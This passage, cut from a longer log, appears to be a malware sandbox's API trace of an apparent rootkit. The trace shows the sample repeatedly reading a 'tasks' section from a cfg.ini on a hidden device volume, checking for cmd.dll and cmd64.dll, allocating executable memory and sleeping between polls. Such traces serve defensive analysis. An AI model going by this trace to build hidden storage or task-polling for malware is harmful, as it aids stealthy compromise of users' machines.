UnlockRoutine=0x0) [0129.124] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.124] KeLeaveCriticalRegion () [0129.124] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.124] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.124] KeEnterCriticalRegion () [0129.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.124] KeLeaveCriticalRegion () [0129.124] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.124] KeEnterCriticalRegion () [0129.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.124] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.124] IdePortDispatch () returned 0x103 [0129.125] KeWaitForMutexObject () returned 0x0 [0129.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.125] KeLeaveCriticalRegion () [0129.125] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.125] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.125] KeEnterCriticalRegion () [0129.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.125] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9f000 [0129.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.125] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.125] IdePortDispatch () returned 0x103 [0129.125] KeWaitForMutexObject () returned 0x0 [0129.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.125] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.125] IdePortDispatch () returned 0x103 [0129.125] KeWaitForMutexObject () returned 0x0 [0129.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.126] KeLeaveCriticalRegion () [0129.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.126] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.126] KeEnterCriticalRegion () [0129.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.126] KeLeaveCriticalRegion () [0129.126] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.126] KeEnterCriticalRegion () [0129.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.126] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.126] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.126] KeLeaveCriticalRegion () [0129.126] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.126] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.127] KeEnterCriticalRegion () [0129.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.127] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.127] KeLeaveCriticalRegion () [0129.127] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.127] ReleaseMutex (hMutex=0xf0) returned 1 [0129.127] Sleep (dwMilliseconds=0x927c0) [0129.142] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.142] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.142] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.142] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.142] KeEnterCriticalRegion () [0129.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.142] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.142] IdePortDispatch () returned 0x103 [0129.142] KeWaitForMutexObject () returned 0x0 [0129.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.143] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.143] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.143] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.143] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.143] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03010 [0129.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.143] KeLeaveCriticalRegion () [0129.143] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.143] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.143] KeEnterCriticalRegion () [0129.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.143] KeLeaveCriticalRegion () [0129.143] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.143] KeEnterCriticalRegion () [0129.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.143] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.143] IdePortDispatch () returned 0x103 [0129.143] KeWaitForMutexObject () returned 0x0 [0129.143] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.143] KeLeaveCriticalRegion () [0129.143] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.144] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.144] KeEnterCriticalRegion () [0129.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba4000 [0129.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.144] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.144] IdePortDispatch () returned 0x103 [0129.144] KeWaitForMutexObject () returned 0x0 [0129.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.144] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.144] IdePortDispatch () returned 0x103 [0129.144] KeWaitForMutexObject () returned 0x0 [0129.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.144] KeLeaveCriticalRegion () [0129.144] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.145] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.145] KeEnterCriticalRegion () [0129.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] KeLeaveCriticalRegion () [0129.145] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.145] KeEnterCriticalRegion () [0129.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.145] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02ce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] KeLeaveCriticalRegion () [0129.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.145] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.145] KeEnterCriticalRegion () [0129.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] ExFreePoolWithTag (P=0xfffffa8003c03010, Tag=0x0) [0129.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.145] KeLeaveCriticalRegion () [0129.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.145] ReleaseMutex (hMutex=0xf0) returned 1 [0129.145] Sleep (dwMilliseconds=0x927c0) [0129.161] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.161] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.161] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.161] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.161] KeEnterCriticalRegion () [0129.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.161] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.161] IdePortDispatch () returned 0x103 [0129.161] KeWaitForMutexObject () returned 0x0 [0129.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.161] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.161] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.162] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.162] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.162] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03dc0 [0129.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] KeLeaveCriticalRegion () [0129.162] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.162] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.162] KeEnterCriticalRegion () [0129.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] KeLeaveCriticalRegion () [0129.162] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.162] KeEnterCriticalRegion () [0129.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.162] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.162] IdePortDispatch () returned 0x103 [0129.162] KeWaitForMutexObject () returned 0x0 [0129.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] KeLeaveCriticalRegion () [0129.162] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.162] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.162] KeEnterCriticalRegion () [0129.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba9000 [0129.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.163] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.163] IdePortDispatch () returned 0x103 [0129.163] KeWaitForMutexObject () returned 0x0 [0129.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.163] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.163] IdePortDispatch () returned 0x103 [0129.163] KeWaitForMutexObject () returned 0x0 [0129.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.163] KeLeaveCriticalRegion () [0129.163] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.164] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.164] KeEnterCriticalRegion () [0129.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] KeLeaveCriticalRegion () [0129.164] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.164] KeEnterCriticalRegion () [0129.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.164] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] KeLeaveCriticalRegion () [0129.164] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.164] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.164] KeEnterCriticalRegion () [0129.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] ExFreePoolWithTag (P=0xfffffa8003c03dc0, Tag=0x0) [0129.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] KeLeaveCriticalRegion () [0129.164] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.164] ReleaseMutex (hMutex=0xf0) returned 1 [0129.164] Sleep (dwMilliseconds=0x927c0) [0129.180] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.180] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.180] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.180] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.180] KeEnterCriticalRegion () [0129.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.180] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.180] IdePortDispatch () returned 0x103 [0129.180] KeWaitForMutexObject () returned 0x0 [0129.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.180] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.180] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.180] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.180] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.180] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03010 [0129.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.180] KeLeaveCriticalRegion () [0129.180] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.180] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.180] KeEnterCriticalRegion () [0129.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.180] KeLeaveCriticalRegion () [0129.180] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.181] KeEnterCriticalRegion () [0129.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.181] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.181] IdePortDispatch () returned 0x103 [0129.181] KeWaitForMutexObject () returned 0x0 [0129.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.181] KeLeaveCriticalRegion () [0129.181] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.181] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.181] 